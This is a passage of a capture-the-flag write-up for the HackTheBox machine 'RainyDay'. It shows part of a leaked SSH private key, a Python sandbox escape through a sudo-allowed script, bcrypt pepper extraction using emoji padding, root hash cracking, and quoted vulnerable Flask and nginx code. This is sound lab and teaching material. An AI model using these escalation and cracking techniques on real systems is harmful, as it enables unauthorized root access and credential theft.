Plv7lbz9bAkvdcCHC46RIrJzJxWo5EqizlEREcw/qerre36UFYRIS7708Q9FELDV9dkodP
3xAPNuM9OCrD0MLBiReWq9WDEcmRPdc2nWM5RRDqcBPJy5+gsDTVANerpOznu7I9t5Jt+6
9Stx6TypwWshB+4pqECgiUfR8H1UNwSClU8QLVmDmXJmYScD/jTU4z3yHRaVzGinxOwDVG
PITC9yJXJgWTSFQC8UUjrqI7cRoFtI9QAAAMEA+pddCQ8pYvVdI36BiDG41rsdM0ZWCxsJ
sXDQ7yS5MmlZmIMH5s1J/wgL90V9y7keubaJxw1aEgXBa6HBuz8lMiAx7DgEMospHBO00p
92XFjtlFMwCX6V+RW+aO0D+mxmhgP3q3UDcVjW/Xar7CW57beLRFoyAyUS0YZNP7USkBZg
FXc7fxSlEqYqctfe4fZKBxV68i/c+LDvg8MwoA5HJZxWl7a9zWux7JXcrloll6+Sbsro7S
bU2hJSEWRZDLb9AAAADWphY2tAcmFpbnlkYXkBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
And we have access to the machine, so we can read the user.txt
flag:
$ chmod 600 id_rsa
$ ssh -i id_rsa jack@10.10.11.184
jack@rainyday:~$ cat user.txt
9226a9ba80213b820a524184ecf52e85
Lateral movement to user jack_adm
Basic enumeration points that jack
can run /usr/bin/safe_python
as jack_adm
using sudo
:
jack@rainyday:~$ sudo -l
Matching Defaults entries for jack on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack may run the following commands on localhost:
(jack_adm) NOPASSWD: /usr/bin/safe_python *
We can’t read the file:
jack@rainyday:~$ ls -l /usr/bin/safe_python
-rwxr-x--- 1 root jack_adm 710 Jun 5 12:52 /usr/bin/safe_python
But we can see that its size is 710 bytes, so it must be a text file (probably a Python or Bash script).
With the following tests, we can ensure that it is a Python script:
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python
Traceback (most recent call last):
File "/usr/bin/safe_python", line 28, in <module>
with open(sys.argv[1]) as f:
IndexError: list index out of range
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /usr/bin/safe_python
Traceback (most recent call last):
File "/usr/bin/safe_python", line 29, in <module>
exec(f.read(), env)
File "<string>", line 3, in <module>
ImportError: __import__ not found
Alright, so it is a Python script that uses exec
to run another Python script. Let’s try the simplest code to get a shell as jack_adm
:
jack@rainyday:~$ echo 'import os; os.system("whoami")' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
Traceback (most recent call last):
File "/usr/bin/safe_python", line 29, in <module>
exec(f.read(), env)
File "<string>", line 1, in <module>
ImportError: __import__ not found
Escaping Python sandbox
Well, we cannot use import
. Therefore, we must use some sandbox escape techniques. Some examples can be found in HackTricks. For instance, we can try to get a __subclasses__
list:
jack@rainyday:~$ echo 'print(().__class__.__base__.__subclasses__())' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>]
We can find <class 'os._wrap_close'>
inside the list at index 137:
jack@rainyday:~$ echo 'print(().__class__.__base__.__subclasses__()[137])' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
<class 'os._wrap_close'>
So now, we can access (...).__init__.__globals__['system']
and get a code execution as jack_adm
:
jack@rainyday:~$ echo '().__class__.__base__.__subclasses__()[137].__init__.__globals__["system"]("bash")' > /tmp/a.py
jack@rainyday:~$ sudo -u jack_adm /usr/bin/safe_python /tmp/a.py
jack_adm@rainyday:/home/jack$ cd
jack_adm@rainyday:~$ ls -la
total 20
drwxr-x--- 2 jack_adm jack_adm 4096 Sep 29 13:47 .
drwxr-xr-x 4 root root 4096 Sep 29 13:47 ..
lrwxrwxrwx 1 root root 9 Sep 29 12:16 .bash_history -> /dev/null
-rw-r--r-- 1 jack_adm jack_adm 220 Jun 4 21:31 .bash_logout
-rw-r--r-- 1 jack_adm jack_adm 3771 Jun 4 21:31 .bashrc
-rw-r--r-- 1 jack_adm jack_adm 807 Jun 4 21:31 .profile
Privilege escalation
Basic enumeration tells us what to do next:
jack_adm@rainyday:~$ sudo -l
Matching Defaults entries for jack_adm on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jack_adm may run the following commands on localhost:
(root) NOPASSWD: /opt/hash_system/hash_password.py
Again, we can’t read the file, not even its size:
jack_adm@rainyday:~$ cat /opt/hash_system/hash_password.py
cat: /opt/hash_system/hash_password.py: Permission denied
jack_adm@rainyday:~$ ls -lh /opt/hash_system/hash_password.py
ls: cannot access '/opt/hash_system/hash_password.py': Permission denied
jack_adm@rainyday:~$ ls -lh /opt/
total 8.0K
drwx--x--x 4 root root 4.0K Sep 29 13:47 containerd
drwxr-x--- 3 root root 4.0K Sep 29 13:47 hash_system
jack_adm@rainyday:~$ ls -lh /opt/hash_system/
ls: cannot open directory '/opt/hash_system/': Permission denied
The program allows us to generate hash passwords using bcrypt
:
jack_adm@rainyday:~$ sudo /opt/hash_system/hash_password.py
Enter Password> asdf
[+] Hash: $2b$05$HESfZkcGQkfPhFrl/0fI8OAByhlqQ0BaZeFj1v9jJUuE.YB4l1Xiy
We can notice that the program appends pepper to our password, because the hash does not match with asdf
:
$ python3 -q
>>> import bcrypt
>>> bcrypt.checkpw(b'asdf', b'$2b$05$HESfZkcGQkfPhFrl/0fI8OAByhlqQ0BaZeFj1v9jJUuE.YB4l1Xiy')
False
And if we generate our own bcrypt
hash, it is correct:
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt())
b'$2b$12$zlcV6l5oli1bMn67.YoHAOdOv6ltgXy2Yk3QpzKd44I.XQwcbdCt.'
>>> bcrypt.checkpw(b'asdf', b'$2b$12$zlcV6l5oli1bMn67.YoHAOdOv6ltgXy2Yk3QpzKd44I.XQwcbdCt.')
True
Therefore, the program is using asdf
plus another string known as pepper, which is kept as a secret.
Finding the secret pepper
There is limit for passwords hashed by bcrypt
, which is 72 bytes (more information here).
But we cannot enter more than 30 characters:
jack_adm@rainyday:~$ sudo /opt/hash_system/hash_password.py
Enter Password> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
[+] Invalid Input Length! Must be <= 30
But we can use a trick, because we can enter emoji, which is less characters than bytes:
$ python3 -q
>>> len('⚡️')
2
>>> len('⚡️'.encode())
6
So, the idea is to use emoji and other padding characters to reach 71 bytes, so that the 72th byte is part of the pepper. Then, with the output hash, we can use brute force to get the first byte of the pepper. After that, we can iterate reducing the padding and obtain the following pepper characters.
For that purpose, I used another Python script that connects to the machine as jack
using SSH in pwntools
, pivots to user jack_adm
and performs the attack explained before to extract the secret pepper. The script is called extract_pepper.py (detailed explanation here):
$ python3 extract_pepper.py
[+] Connecting to rainycloud.htb on port 22: Done
[*] jack@rainycloud.htb:
Distro Ubuntu 22.04
OS: linux
Arch: amd64
Version: 5.15.0
ASLR: Enabled
[+] Starting remote process bytearray(b'bash') on rainycloud.htb: pid 73184
[+] Got shell as `jack_adm`
[+] Payload: ⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️A
[+] Pepper: H34vyR41n
Cracking root
’s hash
Finally, we need to take the hashed password for root
(from before) and perform a brute force attack using the above pepper. Again, I developed a custom script to crack the hash: crack.py (detailed explanation here).
$ python3 crack.py $WORDLISTS/rockyou.txt '$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W' H34vyR41n
[+] Password: b'246813579'
And now we can use 246813579H34vyR41n
as password and get a shell as root
:
jack_adm@rainyday:~$ su root
Password:
root@rainyday:/home/jack_adm# cat /root/root.txt
94d0f6ae36dcfa3d6d634b82716d3aeb
Clarifications
Below, you can find some explanations and reasons why the above techniques worked, taking a look at the source code.
API Type Juggling
We were able to trick the API with floating values because of this code block:
@app.route("/api/user/<uid>")
def api_user(uid):
response = {}
# we've had some crashes here before so do a simple try/except
try:
u = User.query.filter_by(id=uid).first()
response = {c.name: getattr(u, c.name) for c in u.__table__.columns}
if int(uid) != session.get("id", default=None):
response = {"Error": "Not allowed to view other users info!"}
except:
pass
return response
Using floating point numbers, we cause an exception, so the results are returned. The id
variable is treated as a value in the database, no matter the type; but it matters for Python interpreter:
$ python3 -q
>>> int('1.0')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ValueError: invalid literal for int() with base 10: '1.0'
User enumeration
The process of enumerating users was possible because the server first checks that the username exists and then verifies the password, and it throws two different error messages:
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "GET":
return render_template("login.html", dev=g.dev)
else:
username = request.form.get("username", default=None, type=str)
password = request.form.get("password", default=None, type=str)
if username is None or password is None:
return render_template("login.html", error="Missing Parameter!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
else:
u = User.query.filter_by(username=username).first()
if u is None:
return render_template("login.html", error="Login Incorrect!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
else:
if bcrypt.checkpw(password.encode(), u.password.encode()):
session['username'] = username
return redirect(url_for("index"))
else:
return render_template("login.html", error="Login Incorrect!", error_specific=f"{getframeinfo(currentframe()).filename}:{getframeinfo(currentframe()).lineno}", dev=g.dev)
Process inspection from the containers
I guess that the intended way is to access jack
’s container, read the hint and then read the machine’s filesystem from the container using /proc
. Actually, this is also possible from gary
’s container in detached mode, because the UID is 1000, the same as the running process that granted access to the filesystem. Maybe the developer forgot to add it:
elif action.startswith("execdetach"):
action_cmd = action[10:]
exit_code, output = container.exec_run(action_cmd, detach=True, privileged=True, user="1000:1000")
elif action.startswith("exec"):
action_cmd = action[4:]
exit_code, output = container.exec_run("timeout 5s " + action_cmd, privileged=True, user="1000:1000" if session['username'] == "jack" else "1337:1337")
return Response(output, mimetype="text/plain", headers={"Content-Disposition": "attachment; filename=command_output.txt"})
return "Success"
IP address validation
The code uses a header X-Real-IP
:
def ValidateIP(ip):
if ip.startswith("10."):
return False
if ip.startswith("172."):
return True
if ip == "127.0.0.1":
return True
return False
# APP CODE
@app.before_request
def before():
o = urlparse(request.base_url)
ip = request.remote_addr if "X-Real-IP" not in request.headers else request.headers['X-Real-IP']
print(f"[before] {o}")
print(f"[before] {ip}")
if o.hostname not in ["dev.rainycloud.htb", "rainycloud.htb"]:
return redirect("http://rainycloud.htb")
g.dev = True if o.hostname == "dev.rainycloud.htb" else False
if not ValidateIP(ip) and g.dev:
return "Access Denied - Invalid IP", 403
However, even if we add this header, we can’t access dev.rainycloud.htb
:
$ curl 10.10.11.184 -H 'X-Real-IP: 172.18.0.3' -H 'Host: dev.rainycloud.htb'
Access Denied - Invalid IP
And the reason is in the configuration for nginx (/etc/nginx/sites-available/default
):
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/rainycloud;
index index.html index.htm index.nginx-debian.html;
server_name rainycloud.htb;
location / {
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_pass http://172.17.0.1:8080;
}
}
The header X-Real-IP
is overwritten by nginx using $remote_addr
, so we are not able to bypass it.